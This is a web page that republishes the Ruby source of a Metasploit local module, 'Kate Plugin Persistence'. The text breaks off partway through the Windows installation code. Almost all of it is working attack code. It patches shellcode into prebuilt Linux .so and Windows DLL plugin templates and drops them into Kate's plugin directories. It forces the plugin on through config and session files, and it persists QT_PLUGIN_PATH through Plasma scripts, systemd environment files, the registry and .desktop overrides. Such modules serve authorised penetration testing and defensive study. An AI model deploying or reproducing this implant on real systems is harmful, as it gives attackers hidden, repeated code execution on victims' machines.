Lucene search
+L

Kate Plugin Persistence

🗓️ 11 May 2025 00:00:00Reported by h00dieType 
metasploit
 metasploit
🔗 www.rapid7.com👁 5 Views

Malicious Kate plugin installs persistence by executing shellcode on KTextEditor launch.

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::File
  include Msf::Post::Unix # whoami
  include Msf::Auxiliary::Report
  include Msf::Exploit::Local::Persistence
  prepend Msf::Exploit::Remote::AutoCheck

  WIN_TEMPLATE_MAGIC = 'MSF_KATE_WIN_SC:'
  LINUX_TEMPLATE_MAGIC = 'KATE_LINUX_SC:'
  TEMPLATE_BUF_SIZE = 32768

  # Qt6 CBOR metadata section — PE (Windows) uses the old "QTMETADATA !" magic;
  # ELF (Linux) uses the newer "Qtqt-project!\x00" magic introduced in Qt 6.4.
  WIN_CBOR_MAGIC = 'QTMETADATA !'
  LINUX_CBOR_MAGIC = "Qtqt-project!\x00"
  CBOR_QT_HEADER = "\x01\x06\x00\x00"
  CBOR_SECTION_SIZE = 256

  # Qt 6.4+ uses a PT_NOTE ELF segment (.note.qt.metadata) for plugin discovery.
  # The magic "Qtqt-project!\x00" spans the last 2 bytes of the NOTE type field
  # ('Q','t') plus the 12-byte note name ("qt-project!\x00").  kate_plugin.rb
  # patches the 256-byte patchable region starting at 'Q' (NOTE offset 10).
  WIN_CBOR_AVAIL = CBOR_SECTION_SIZE - WIN_CBOR_MAGIC.length - CBOR_QT_HEADER.length
  LINUX_CBOR_AVAIL = CBOR_SECTION_SIZE - LINUX_CBOR_MAGIC.length - CBOR_QT_HEADER.length

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Kate Plugin Persistence',
        'Description' => %q{
          This module installs a malicious Kate (KTextEditor) plugin that executes the payload
          each time Kate is launched.

          Linux: a pre-built template SO is patched with raw x64 shellcode and uploaded
          to the target. If the session has write access to the system Qt plugin directory
          the plugin is installed there directly (no environment changes needed). Otherwise
          it is installed user-locally with QT_PLUGIN_PATH persisted via KDE Plasma startup
          scripts, systemd user environment files, and a .desktop file override so the
          plugin is visible in Kate's plugin manager for both terminal and GUI launches.

          Windows: a pre-compiled template DLL is patched with raw x64 shellcode and
          dropped directly into Kate's own kf6/ktexteditor plugin directory. The directory
          is located by finding kate.exe then searching for katefilebrowserplugin.dll
          relative to it. Qt scans Kate's own plugin directory unconditionally at startup
          - no environment variable or registry changes needed. Kate's install directory is
          auto-detected.

          Tested on 26.04.0 on Kali, 26.07.70 on Windows 10
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'h00die' # Module
        ],
        'DisclosureDate' => '2025-05-11',
        'SessionTypes' => ['shell', 'meterpreter'],
        'Privileged' => false,
        'References' => [
          ['URL', 'https://develop.kde.org/docs/apps/kate/plugin/']
        ],
        'Arch' => [ARCH_X64], # KDE Framework 6 dropped 32 bit support, so no need for x86 arch
        'DefaultOptions' => {
          'PrependMigrate' => true,
          'EXITFUNC' => 'thread'
        },
        'Payload' => {
          'DisableNops' => true
        },
        'Targets' => [
          [
            'Windows', {
              'Platform' => 'windows',
              'Payload' => { 'Space' => TEMPLATE_BUF_SIZE - WIN_TEMPLATE_MAGIC.length - 1 }
            }
          ],
          [
            'Linux', {
              'Platform' => ['unix', 'linux'],
              'Payload' => { 'Space' => TEMPLATE_BUF_SIZE - LINUX_TEMPLATE_MAGIC.length - 1 }
            }
          ]
        ],
        'Notes' => {
          'Reliability' => [REPEATABLE_SESSION],
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
        },
        'DefaultTarget' => 1
      )
    )

    register_options([
      OptString.new('NAME', [false, 'Plugin name (random if blank)', '']),
      OptString.new('DESCRIPTION', [false, 'Plugin description shown in Kate plugin manager (blank for none)', '']),
      OptString.new('USER', [false, 'User to target, or current user if blank', '']),
      OptBool.new('KILLKATE', [false, 'Kill running Kate process after installation to prevent config overwrite', false])
    ])
    deregister_options('WritableDir')
  end

  def windows?
    ['windows', 'win'].include?(session.platform)
  end

  def plugin_name
    @plugin_name ||= begin
      # Strip non-alphanumeric chars - name is used in C++ identifiers (Linux)
      # and as the CBOR Id / DLL filename / katerc key (Windows).
      name = datastore['NAME'].to_s.downcase.gsub(/[^a-z0-9]/, '')
      if name.empty?
        # Blank NAME, or a NAME with no alphanumerics (e.g. '!!!'): fall back to a
        # random name rather than writing an empty INI key or a bare '.dll'/'.so' file.
        unless datastore['NAME'].blank?
          print_warning("NAME '#{datastore['NAME']}' contains no alphanumeric characters - using a random plugin name")
        end
        name = rand_text_alpha(6..10).downcase
      end
      name
    end
  end

  def plugin_description
    datastore['DESCRIPTION'].to_s.strip
  end

  def target_user
    @target_user ||= if !datastore['USER'].blank?
                       datastore['USER']
                     elsif windows?
                       cmd_exec('cmd.exe /c echo %USERNAME%').strip
                     else
                       whoami
                     end
  end

  # Resolve %SystemDrive% from the session rather than assuming Windows is
  # installed on C:.  Falls back to C: only if the variable is not set.
  def system_drive
    @system_drive ||= begin
      val = cmd_exec('cmd.exe /c echo %SystemDrive%').strip
      val.match?(/^[A-Za-z]:$/) ? val : 'C:'
    end
  end

  def localappdata
    @localappdata ||= begin
      val = cmd_exec('cmd.exe /c echo %LOCALAPPDATA%').strip
      (val.empty? || val == '%LOCALAPPDATA%') ? "#{system_drive}\\Users\\#{target_user}\\AppData\\Local" : val
    end
  end

  def target_home
    @target_home ||= if windows?
                       "#{system_drive}\\Users\\#{target_user}"
                     else
                       target_user == 'root' ? '/root' : "/home/#{target_user}"
                     end
  end

  def katerc_path
    # KConfig on Windows resolves GenericConfigLocation to %LOCALAPPDATA%, not %APPDATA%.
    windows? ? "#{localappdata}\\katerc" : "#{target_home}/.config/katerc"
  end

  # KTextEditor::EditorPrivate reads plugin state from katepartrc, not katerc.
  def katepartrc_path
    windows? ? "#{localappdata}\\katepartrc" : "#{target_home}/.config/katepartrc"
  end

  # Base of the user-local Qt plugin tree; QT_PLUGIN_PATH points here.
  def user_plugin_base
    windows? ? "#{localappdata}\\qt6\\plugins" : "#{target_home}/.local/lib/qt6/plugins"
  end

  # Probe writable system Qt plugin directories that Kate already scans without
  # any QT_PLUGIN_PATH manipulation.  Returns the ktexteditor subdir path if one
  # is writable, nil otherwise.
  def system_plugin_dir
    return nil if windows?

    %w[
      /usr/lib/x86_64-linux-gnu/qt6/plugins
      /usr/lib/aarch64-linux-gnu/qt6/plugins
      /usr/lib/qt6/plugins
      /usr/local/lib/qt6/plugins
    ].each do |base|
      dir = "#{base}/kf6/ktexteditor"
      next unless directory?(dir)

      return dir if probe_dir_writable?(dir)
    end
    nil
  end

  # Kate searches namespace "kf6/ktexteditor" under each libraryPath entry.
  def target_plugin_dir
    @target_plugin_dir ||= system_plugin_dir || "#{user_plugin_base}/kf6/ktexteditor"
  end

  def system_install?
    !windows? && target_plugin_dir.start_with?('/usr/', '/usr/local/')
  end

  def probe_dir_writable?(dir)
    probe = windows? ? "#{dir}\\#{rand_text_alphanumeric(16)}" : "#{dir}/.#{rand_text_alphanumeric(16)}"
    begin
      write_file(probe, 'msf')
    rescue StandardError
      return false
    end
    if file?(probe)
      rm_f(probe)
      true
    else
      false
    end
  end

  # ── CBOR helpers ──────────────────────────────────────────────────────────

  # Encode a Ruby string as a CBOR text string (major type 3), using the
  # canonical short/extended length forms so any byte length encodes correctly.
  # Overlong strings still fail fast in the callers' section-size checks.
  def cbor_tstr(str)
    b = str.encode('UTF-8').b
    len = b.bytesize
    hdr = case len
          when 0..23 then [0x60 | len].pack('C')
          when 24..255 then [0x78, len].pack('CC')
          when 256..65_535 then [0x79, len].pack('Cn')
          else [0x7a, len].pack('CN')
          end
    hdr.b + b
  end

  def plugin_metadata_cbor(id, name, desc)
    pairs = []
    pairs << "\x62Id".b + cbor_tstr(id)
    pairs << "\x64Name".b + cbor_tstr(name)
    pairs << "\x70EnabledByDefault\xf5".b
    pairs << cbor_tstr('Description') + cbor_tstr(desc) unless desc.empty?

    fail_with(Failure::BadConfig, 'Too many KPlugin CBOR map entries') if pairs.length > 23

    inner = [0xa0 | pairs.length].pack('C').b + pairs.join.b
    outer = "\xa1\x67KPlugin".b + inner

    "\xbf".b +
      "\x02\x76org.kde.KPluginFactory".b +
      "\x03\x6eMsfKateFactory".b +
      "\x04".b + outer +
      "\xff".b
  end

  # ── Linux template patching ───────────────────────────────────────────────

  # Patch the pre-built Linux SO template with the payload command and plugin
  # metadata.  Returns the patched binary, or nil if the template is absent
  # (the caller then fails with rebuild instructions - there is no local
  # compilation fallback; see data/exploits/kate_plugin/build.sh).
  def linux_plugin_data(pload)
    template_path = ::File.join(Msf::Config.data_directory, 'exploits',
                                'kate_plugin', 'template_linux_x64.so')
    return nil unless ::File.exist?(template_path)

    template = ::File.binread(template_path)

    idx = template.index(LINUX_TEMPLATE_MAGIC)
    fail_with(Failure::BadConfig, 'Linux template magic not found — rebuild template_linux_x64.so') if idx.nil?

    available = TEMPLATE_BUF_SIZE - LINUX_TEMPLATE_MAGIC.length
    fail_with(Failure::BadConfig, "Linux payload too large (#{pload.length} > #{available})") if pload.length > available

    patch = LINUX_TEMPLATE_MAGIC.b + pload.b.ljust(available, "\x00".b)
    template[idx, TEMPLATE_BUF_SIZE] = patch

    cbor_idx = template.b.index(LINUX_CBOR_MAGIC.b)
    fail_with(Failure::BadConfig, 'Linux template CBOR magic not found — rebuild template_linux_x64.so') if cbor_idx.nil?

    cbor_bytes = plugin_metadata_cbor(plugin_name, plugin_name, plugin_description)
    fail_with(Failure::BadConfig, "Linux plugin metadata CBOR too large (#{cbor_bytes.length} > #{LINUX_CBOR_AVAIL})") if cbor_bytes.length > LINUX_CBOR_AVAIL

    cbor_section = LINUX_CBOR_MAGIC.b + CBOR_QT_HEADER.b + cbor_bytes.ljust(LINUX_CBOR_AVAIL, "\x00".b)
    template[cbor_idx, CBOR_SECTION_SIZE] = cbor_section

    template
  end

  # ── Windows template patching ─────────────────────────────────────────────

  def windows_plugin_data(pload)
    template_path = ::File.join(Msf::Config.data_directory, 'exploits',
                                'kate_plugin', 'template_win_x64.dll')
    fail_with(Failure::BadConfig, "Windows template DLL not found: #{template_path}") unless ::File.exist?(template_path)

    template = ::File.binread(template_path)
    idx = template.index(WIN_TEMPLATE_MAGIC)
    fail_with(Failure::BadConfig, 'Windows template DLL magic not found — rebuild template_win_x64.dll') if idx.nil?

    available = TEMPLATE_BUF_SIZE - WIN_TEMPLATE_MAGIC.length
    fail_with(Failure::BadConfig, "Windows shellcode too large for template buffer (#{pload.length} > #{available})") if pload.length > available

    patch = WIN_TEMPLATE_MAGIC.b + pload.b.ljust(available, "\x00".b)
    template[idx, TEMPLATE_BUF_SIZE] = patch

    cbor_idx = template.b.index(WIN_CBOR_MAGIC.b)
    fail_with(Failure::BadConfig, 'Windows template CBOR magic not found — rebuild template_win_x64.dll') if cbor_idx.nil?

    cbor_bytes = plugin_metadata_cbor(plugin_name, plugin_name, plugin_description)
    fail_with(Failure::BadConfig, "Windows plugin metadata CBOR too large (#{cbor_bytes.length} > #{WIN_CBOR_AVAIL})") if cbor_bytes.length > WIN_CBOR_AVAIL

    cbor_section = WIN_CBOR_MAGIC.b + CBOR_QT_HEADER.b + cbor_bytes.ljust(WIN_CBOR_AVAIL, "\x00".b)
    template[cbor_idx, CBOR_SECTION_SIZE] = cbor_section

    template
  end

  # ── Target-side setup ─────────────────────────────────────────────────────

  # Meterpreter's RC parser treats \ as an escape character inside quoted args.
  # Double every backslash in Windows paths so they survive argument parsing.
  def rc_win_path(path)
    path.gsub('\\') { '\\\\' }
  end

  # Build an `upload` line for the cleanup RC file.  The destination is quoted
  # so paths containing spaces (e.g. C:\Users\John Doe\...) restore correctly.
  def rc_upload(loot, dest)
    "upload #{loot} \"#{dest}\"\n"
  end

  # Insert or update key=value in a named INI section within content string.
  def upsert_ini_key(content, section, key, value)
    if content.include?("[#{section}]")
      content.sub(/(\[#{Regexp.escape(section)}\][^\[]*)/m) do |block|
        if block.match?(/^#{Regexp.escape(key)}=/m)
          block.gsub(/^#{Regexp.escape(key)}=\S+/m, "#{key}=#{value}")
        else
          "#{block.rstrip}\n#{key}=#{value}\n"
        end
      end
    else
      "#{content.rstrip}\n\n[#{section}]\n#{key}=#{value}\n"
    end
  end

  # Write plugin enable state to an INI config file on the target.
  # Creates the file with the given sections if it does not exist.
  def write_plugin_enable(path, name, sections, loot_name)
    if file?(path)
      existing = read_file(path)
      loot = store_loot("kate.#{loot_name}", 'text/plain', session.session_host,
                        existing, loot_name, "Kate #{loot_name} backup")
      print_good("#{loot_name} backup: #{loot}")
      dest = windows? ? rc_win_path(path) : path
      @clean_up_rc << rc_upload(loot, dest)
      modified = sections.reduce(existing) { |c, s| upsert_ini_key(c, s, name, 'true') }
      write_file(path, modified)
    else
      content = sections.map { |s| "[#{s}]\n#{name}=true\n" }.join("\n")
      write_file(path, content)
      if windows?
        @clean_up_rc << "rm \"#{rc_win_path(path)}\"\n"
      else
        @clean_up_rc << "rm \"#{path}\"\n"
      end
    end
  end

  def enable_plugin_in_katerc(name)
    # Kate application plugins use [Kate Plugins] in katerc.
    # KTextEditor plugins use [KTextEditor Plugins]; KTextEditor::EditorPrivate may
    # read that group from either katerc or katepartrc depending on the Kate version.
    # Write to all relevant locations so the plugin loads regardless of Kate version.
    write_plugin_enable(katerc_path, name, ['Kate Plugins', 'KTextEditor Plugins'], 'katerc')
    write_plugin_enable(katepartrc_path, name, ['KTextEditor Plugins'], 'katepartrc')
    print_good("Plugin '#{name}' enabled in katerc and katepartrc")
  end

  # Kate (KDE 6) stores the authoritative plugin enabled state in session files
  # (~/.local/share/kate/*.katesession) under [Kate Plugins], not in katerc.
  # The session file controls both the plugin manager toggle and whether Kate
  # loads the plugin at startup.  We must write to every existing session file
  # so the plugin auto-loads regardless of which session the user opens.
  # If no session file exists yet we create anonymous.katesession (Kate's default
  # unnamed session) so the plugin is enabled on first launch.
  def enable_plugin_in_kate_sessions(name)
    if windows?
      sessions_dir = "#{localappdata}\\kate"
      raw = cmd_exec("cmd.exe /c dir /b \"#{sessions_dir}\\*.katesession\" 2>nul").strip
      session_files = raw.split(/[\r\n]+/).map(&:strip).reject(&:empty?).map { |f| "#{sessions_dir}\\#{f}" }
    else
      sessions_dir = "#{target_home}/.local/share/kate"
      raw = cmd_exec("find '#{sessions_dir}' -maxdepth 1 -name '*.katesession' 2>/dev/null").strip
      session_files = raw.split("\n").map(&:strip).reject(&:empty?)
    end

    if session_files.empty?
      if windows?
        mkdir(sessions_dir, cleanup: false) unless directory?(sessions_dir)
        anon = "#{sessions_dir}\\anonymous.katesession"
        @clean_up_rc << "rm \"#{rc_win_path(anon)}\"\n"
      else
        [
          "#{target_home}/.local",
          "#{target_home}/.local/share",
          sessions_dir
        ].each { |d| mkdir(d, cleanup: false) unless directory?(d) }
        anon = "#{sessions_dir}/anonymous.katesession"
        @clean_up_rc << "rm \"#{anon}\"\n"
      end
      write_file(anon, "[Kate Plugins]\n#{name}=true\n")
      print_good("Created Kate session with plugin enabled: #{anon}")
      return
    end

    session_files.each do |sf|
      existing = read_file(sf)
      loot = store_loot('kate.session', 'text/plain', session.session_host,
                        existing, ::File.basename(sf), 'Kate session backup')
      print_good("Session backup: #{loot}")
      dest = windows? ? rc_win_path(sf) : sf
      @clean_up_rc << rc_upload(loot, dest)
      write_file(sf, upsert_ini_key(existing, 'Kate Plugins', name, 'true'))
      print_good("Plugin '#{name}' enabled in session: #{sf}")
    end
  end

  def persist_qt_plugin_path
    base = user_plugin_base

    if windows?
      # reg add writes directly to HKCU\Environment.  New Kate processes launched after
      # re-login (or Explorer restart) inherit QT_PLUGIN_PATH via CreateEnvironmentBlock.
      result = cmd_exec("reg add \"HKCU\\Environment\" /v QT_PLUGIN_PATH /t REG_SZ /d \"#{base}\" /f")
      if result.include?('successfully')
        print_good("QT_PLUGIN_PATH set in registry (takes effect on next login): #{base}")
      else
        print_warning("reg add may have failed: #{result}")
      end
      @clean_up_rc << "reg deleteval -k HKCU\\\\Environment -v QT_PLUGIN_PATH\n"
      return
    end

    home = target_home

    # KDE Plasma: these shell scripts are sourced before any KDE application starts.
    plasma_dir = "#{home}/.config/plasma-workspace/env"
    [
      "#{home}/.config/plasma-workspace",
      plasma_dir
    ].each { |d| mkdir(d, cleanup: false) unless directory?(d) }
    plasma_file = "#{plasma_dir}/qt_user_plugins.sh"
    write_file(plasma_file,
               "export QT_PLUGIN_PATH=\"#{base}${QT_PLUGIN_PATH:+:$QT_PLUGIN_PATH}\"\n")
    print_good("KDE Plasma env script: #{plasma_file}")
    @clean_up_rc << "rm \"#{plasma_file}\"\n"

    # systemd user session: picked up by systemd --user for all session services,
    # covering non-KDE desktop environments on modern Linux.
    env_d_dir = "#{home}/.config/environment.d"
    mkdir(env_d_dir, cleanup: false) unless directory?(env_d_dir)
    env_d_file = "#{env_d_dir}/qt_user_plugins.conf"
    write_file(env_d_file, "QT_PLUGIN_PATH=#{base}\n")
    print_good("systemd user env file: #{env_d_file}")
    @clean_up_rc << "rm \"#{env_d_file}\"\n"

    # Inject into the running systemd user session so the change takes effect
    # immediately without requiring a re-login.  Meterpreter shells lack
    # XDG_RUNTIME_DIR so derive it from the user's UID explicitly.
    # Failure is non-fatal — the env files above activate on next login.
    uid = cmd_exec('id -u 2>/dev/null').strip
    xdg = uid.match?(/^\d+$/) ? "/run/user/#{uid}" : ''
    xdg_prefix = xdg.empty? ? '' : "XDG_RUNTIME_DIR=#{xdg} "
    result = cmd_exec("#{xdg_prefix}systemctl --user set-environment QT_PLUGIN_PATH=#{base} 2>/dev/null").strip
    if result.empty?
      print_good('QT_PLUGIN_PATH set in current systemd user session')
    else
      print_status('systemctl set-environment unavailable — QT_PLUGIN_PATH will activate on next login')
    end

    # Propagate to D-Bus activation environment so D-Bus-activated services
    # (including klaunch6 when it auto-restarts) also inherit QT_PLUGIN_PATH.
    cmd_exec("#{xdg_prefix}dbus-update-activation-environment --systemd QT_PLUGIN_PATH=#{base} 2>/dev/null")

    # klaunch6 is KDE's long-running app-launch daemon; all GUI-launched apps
    # are forked by it and therefore inherit its environment.  Because klaunch6
    # was started at KDE session init (before QT_PLUGIN_PATH was set), Kate
    # launched from the KDE desktop does not see the variable.  Restarting
    # klaunch6 here causes it to re-inherit the updated environment so the
    # plugin is visible in Kate's plugin manager without a full session logout.
    restart_out = cmd_exec("#{xdg_prefix}systemctl --user restart klaunch6 2>/dev/null; echo $?").strip
    if restart_out == '0'
      print_good('klaunch6 restarted via systemd — GUI-launched Kate will now see the plugin')
    else
      pkill_out = cmd_exec('pkill -x klaunch6 2>/dev/null; echo $?').strip
      if pkill_out == '0'
        print_good('klaunch6 restarted — GUI-launched Kate will now see the plugin')
      else
        print_status('klaunch6 restart unavailable — plugin visible to GUI-launched Kate after next login')
      end
    end
  end

  # ── Module entry points ───────────────────────────────────────────────────

  def check
    if windows?
      result = cmd_exec('where kate.exe 2>nul').strip
      kate_found = !result.empty?
      return CheckCode::Safe('No Kate installation found on target') unless kate_found || file?(katerc_path)

      plugin_dir = find_kate_install_plugin_dir(create: false)
      if plugin_dir.nil?
        return CheckCode::Appears("Kate found but plugin directory could not be located: #{result}")
      end

      if probe_dir_writable?(plugin_dir)
        return CheckCode::Vulnerable("Kate plugin directory is writable: #{plugin_dir}")
      else
        return CheckCode::Safe("Kate found but plugin directory is not writable: #{plugin_dir}")
      end
    else
      return CheckCode::Appears("Kate config found: #{katerc_path}") if file?(katerc_path)

      result = cmd_exec('which kate 2>/dev/null').strip
      return CheckCode::Appears("Kate binary found: #{result}") unless result.empty?
    end

    CheckCode::Safe('No Kate installation found on target')
  end

  def kate_running?
    if windows?
      cmd_exec('tasklist /FI "IMAGENAME eq kate.exe" /NH 2>nul').strip.downcase.include?('kate.exe')
    else
      !cmd_exec('pgrep -x kate 2>/dev/null').strip.empty?
    end
  end

  def install_persistence
    name = plugin_name
    print_status("Using plugin name: #{name}")
    vprint_status("Target user: #{target_user}")

    session_win = windows?
    target_win = target.platform.names.any? { |p| p.casecmp?('windows') }
    if session_win != target_win
      fail_with(Failure::BadConfig,
                "Target '#{target.name}' does not match session platform '#{session.platform}'. " \
                "Run `set target #{session_win ? 'Windows' : 'Linux'}` and select a matching payload.")
    end

    if kate_running?
      kill_cmd = windows? ? 'taskkill /F /IM kate.exe' : 'pkill -9 kate'
      print_warning('Kate is currently running — the plugin will appear disabled in the plugin manager. ' \
                    "Set KILLKATE true to kill it automatically, or run `#{kill_cmd}` after installation " \
                    'and relaunch Kate to fire the payload.')
    end

    if windows?
      install_windows
    else
      install_linux
    end
  end

  # ── Linux installation ────────────────────────────────────────────────────

  def install_linux
    name = plugin_name

    so_data = linux_plugin_data(payload.encoded)
    fail_with(Failure::BadConfig, 'Linux template not found - rebuild it with data/exploits/kate_plugin/build.sh') if so_data.nil?
    print_status('Using pre-built Linux template')

    loot_so = store_loot('kate.plugin', 'application/x-sharedlib', session.session_host,
                         so_data, "#{name}.so", 'Kate KTextEditor plugin')
    print_good("Plugin saved to loot: #{loot_so}")

    if system_install?
      print_status("Using system plugin directory: #{target_plugin_dir}")
    else
      # System directory not writable — install user-locally.
      # meterpreter's mkdir is single-level, so create ancestors one at a time.
      home = target_home
      [
        "#{home}/.local",
        "#{home}/.local/lib",
        "#{home}/.local/lib/qt6",
        user_plugin_base,
        "#{user_plugin_base}/kf6",
        target_plugin_dir
      ].each do |dir|
        unless directory?(dir)
          print_status("Creating: #{dir}")
          mkdir(dir, cleanup: false)
        end
      end
    end

    target_so = "#{target_plugin_dir}/#{name}.so"
    print_status("Uploading #{so_data.size} bytes to #{target_so}")
    write_file(target_so, so_data)
    fail_with(Failure::Unknown, "Upload failed: #{target_so}") unless file?(target_so)
    print_good("Plugin installed: #{target_so}")
    @clean_up_rc << "rm \"#{target_so}\"\n"

    unless system_install?
      # User-local install: Kate won't find the plugin without QT_PLUGIN_PATH
      # and a desktop override to cover GUI launches.
      persist_qt_plugin_path
      persist_kate_desktop
    end

    enable_plugin_in_katerc(name)
    enable_plugin_in_kate_sessions(name)

    if kate_running?
      if datastore['KILLKATE']
        cmd_exec('pkill -9 kate 2>/dev/null')
        print_good('Kate killed (SIGKILL) — relaunch Kate to fire the payload')
      else
        print_warning('Kate is currently running — kill it with `pkill -9 kate` (SIGKILL prevents Kate from ' \
                      'overwriting plugin config on exit) then relaunch. Payload fires on next Kate start.')
      end
    end
    print_good('Payload will fire on every Kate startup')
  end

  # Create a user-local .desktop override so GUI-launched Kate (via Plasma app
  # menu, file manager, etc.) inherits QT_PLUGIN_PATH.
  #
  # KDE Plasma 6 launches applications via systemd scope units (systemd-run
  # --user --scope), which inherit the Plasma shell's environment — NOT the
  # systemd user manager environment updated by systemctl set-environment.
  # Candidate .desktop files that launch Kate/KWrite.  KWrite shares Kate's
  # plugin manager and loads kf6/ktexteditor plugins too, so overriding both
  # launchers widens coverage.  Covers deb/derived packages, custom
  # XDG_DATA_DIRS, and Ubuntu snap packaging (snap desktop files live outside
  # XDG_DATA_DIRS under /var/lib/snapd/desktop/applications).
  def kate_desktop_sources
    dirs = cmd_exec('echo $XDG_DATA_DIRS').to_s.split(':').map(&:strip).reject(&:empty?)
    dirs += %w[/usr/local/share/applications /usr/share/applications]
    names = %w[org.kde.kate.desktop kate.desktop org.kde.kwrite.desktop kwrite.desktop]

    candidates = dirs.product(names).map { |d, n| "#{d}/#{n}" }
    candidates << '/var/lib/snapd/desktop/applications/kate_kate.desktop'
    candidates << '/var/lib/snapd/desktop/applications/kwrite_kwrite.desktop'
    candidates.uniq.select { |p| file?(p) }
  end

  # Writing user-local overrides at ~/.local/share/applications/ that wrap the
  # Exec= line with "env QT_PLUGIN_PATH=..." ensures every GUI launch path
  # picks up the variable without requiring a re-login.  The override must also
  # disable DBusActivatable/SystemdService: with those set, Plasma launches
  # Kate via its DBus name or the systemd user unit instead of the Exec= line,
  # silently skipping the environment prefix.
  def persist_kate_desktop
    base = user_plugin_base

    sources = kate_desktop_sources
    if sources.empty?
      print_status('Kate .desktop file not found — skipping desktop override (plugin visible after next login)')
      return
    end

    env_prefix = "env QT_PLUGIN_PATH=#{base} "
    local_apps = "#{target_home}/.local/share/applications"
    [
      "#{target_home}/.local",
      "#{target_home}/.local/share",
      local_apps
    ].each { |d| mkdir(d, cleanup: false) unless directory?(d) }

    sources.each do |src|
      content = read_file(src)
      next if content.nil? || content.empty?

      # Prepend to every Exec= line (covers [Desktop Entry] and any
      # [Desktop Action ...] blocks).  Guard avoids double-prepending on
      # repeated runs.
      modified = content.gsub(/^(Exec=)(?!#{Regexp.escape(env_prefix)})/, "\\1#{env_prefix}")
      # Force the plain Exec= launch path (see comment above).
      modified = modified.gsub(/^DBusActivatable=.*$/, 'DBusActivatable=false')
      modified = modified.gsub(/^SystemdService=.*$/, 'SystemdService=')

      dest = "#{local_apps}/#{::File.basename(src)}"
      if file?(dest)
        existing = read_file(dest)
        loot = store_loot('kate.desktop', 'text/plain', session.session_host,
                          existing, ::File.basename(src), 'Kate .desktop backup')
        print_good("#{::File.basename(src)} backup: #{loot}")
        @clean_up_rc << rc_upload(loot, dest)
      else
        @clean_up_rc << "rm \"#{dest}\"\n"
      end

      write_file(dest, modified)
      print_good("Desktop override: #{src} -> #{dest}")
    end

    # Rebuild KDE's service/application cache and the XDG desktop database so
    # Plasma picks up the new .desktop entry immediately without restarting.
    cmd_exec("update-desktop-database '#{local_apps}' 2>/dev/null")
    cmd_exec('kbuildsycoca6 --noincremental 2>/dev/null &')
  end

  # ── Windows installation ──────────────────────────────────────────────────

  # Find kate.exe on the target, trying multiple discovery strategies.
  # Returns the full path string, or nil if not found.
  def find_kate_binary
    # Strategy 1: where (only works if kate.exe is in PATH)
    result = cmd_exec('where kate.exe 2>nul').strip
    first = result.split("\n").first.to_s.strip
    return first if first.match?(/\.exe$/i) && first.include?(':\\')

    # Strategy 2: Windows App Paths registry — set by installers so ShellExecute
    # can launch apps that are not in PATH.
    %w[HKLM HKCU].each do |hive|
      out = cmd_exec("reg query \"#{hive}\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\kate.exe\" /ve 2>nul").strip
      m = out.match(/REG_SZ\s+(.+)/)
      next unless m

      path = m[1].strip.delete('"')
      return path if path.match?(/\.exe$/i) && file?(path)
    end

    # Strategy 3: common install paths — use localappdata from the session so the
    # path is correct regardless of username or drive letter.
    lad = localappdata
    sysdrive = system_drive
    [
      "#{lad}\\Programs\\Kate\\bin\\kate.exe",
      "#{lad}\\Programs\\kate\\bin\\kate.exe",
      "#{lad}\\Kate\\bin\\kate.exe",
      "#{lad}\\kate\\bin\\kate.exe",
      "#{sysdrive}\\Program Files\\Kate\\bin\\kate.exe",
      "#{sysdrive}\\Program Files\\Kate\\kate.exe",
      "#{sysdrive}\\Program Files (x86)\\Kate\\bin\\kate.exe",
      "#{lad}\\..\\..\\scoop\\apps\\kate\\current\\bin\\kate.exe"
    ].each { |p| return p if file?(p) }

    # Strategy 4: PowerShell search — run one path at a time to avoid quoting issues
    # with spaces in multi-path -Path arrays.
    ["#{sysdrive}\\Program Files", "#{sysdrive}\\Program Files (x86)", "#{lad}\\Programs", lad].each do |search_root|
      ps = "Get-ChildItem -Path '#{search_root}' -Recurse -Filter kate.exe" \
           ' -ErrorAction SilentlyContinue -Depth 5 |' \
           ' Select-Object -First 1 -ExpandProperty FullName'
      found = cmd_exec("powershell -NoProfile -NonInteractive -Command \"#{ps}\" 2>nul").strip
      return found if found.match?(/\.exe$/i) && file?(found)
    end

    nil
  end

  # Resolve a path that may contain .. components.
  def resolve_path(*parts)
    parts.flat_map { |p| p.split('\\') }.inject([]) do |acc, seg|
      seg == '..' ? acc[0..-2] : acc + [seg]
    end.join('\\')
  end

  # Read Kate's qt.conf (next to kate.exe) and return the resolved Plugins path.
  # Returns nil if qt.conf is absent or has no Plugins key.
  def plugin_root_from_qt_conf(bin_dir, install_root)
    qt_conf = "#{bin_dir}\\qt.conf"
    return nil unless file?(qt_conf)

    content = read_file(qt_conf)
    vprint_status("qt.conf:\n#{content}")

    plugins_m = content.match(/^\s*Plugins\s*=\s*(.+)$/i)
    return nil unless plugins_m

    plugins_rel = plugins_m[1].strip.tr('/', '\\')

    # Prefix defaults to the parent of bin\ (install root) but can be overridden.
    prefix_m = content.match(/^\s*Prefix\s*=\s*(.+)$/i)
    prefix = if prefix_m
               resolve_path(bin_dir, prefix_m[1].strip.tr('/', '\\'))
             else
               install_root
             end

    resolve_path(prefix, plugins_rel)
  end

  # Find or create the ktexteditor plugin directory inside Kate's installation.
  # Pass create: false to only probe existing directories — used by check so
  # it never modifies the target filesystem.
  #
  # Strategy:
  #   1. Search for a known Kate plugin DLL — its parent directory IS the right place.
  #   2. Search for an existing ktexteditor directory by name.
  #   3. Try common explicit paths (lib\plugins\kf6\ktexteditor, etc.).
  #   4. Read qt.conf; if absent fall back to bin\ (appDirPath is always in libraryPaths).
  def find_kate_install_plugin_dir(create: true)
    kate_bin = find_kate_binary
    unless kate_bin
      print_warning('kate.exe not found — verify Kate is installed and accessible on the target')
      return nil
    end
    print_status("Kate binary: #{kate_bin}")

    bin_dir = kate_bin.split('\\')[0..-2].join('\\')
    install_root = kate_bin.split('\\')[0..-3].join('\\')

    # Strategy 1: use "where /r" (plain cmd.exe — no PowerShell formatting pipeline) to
    # locate a known Kate/KTextEditor plugin DLL; its parent directory is the plugin dir.
    %w[
      katefilebrowserplugin.dll kateprojectplugin.dll katerunplugin.dll
      katefiletreeplugin.dll kateterminal.dll katesearchplugin.dll
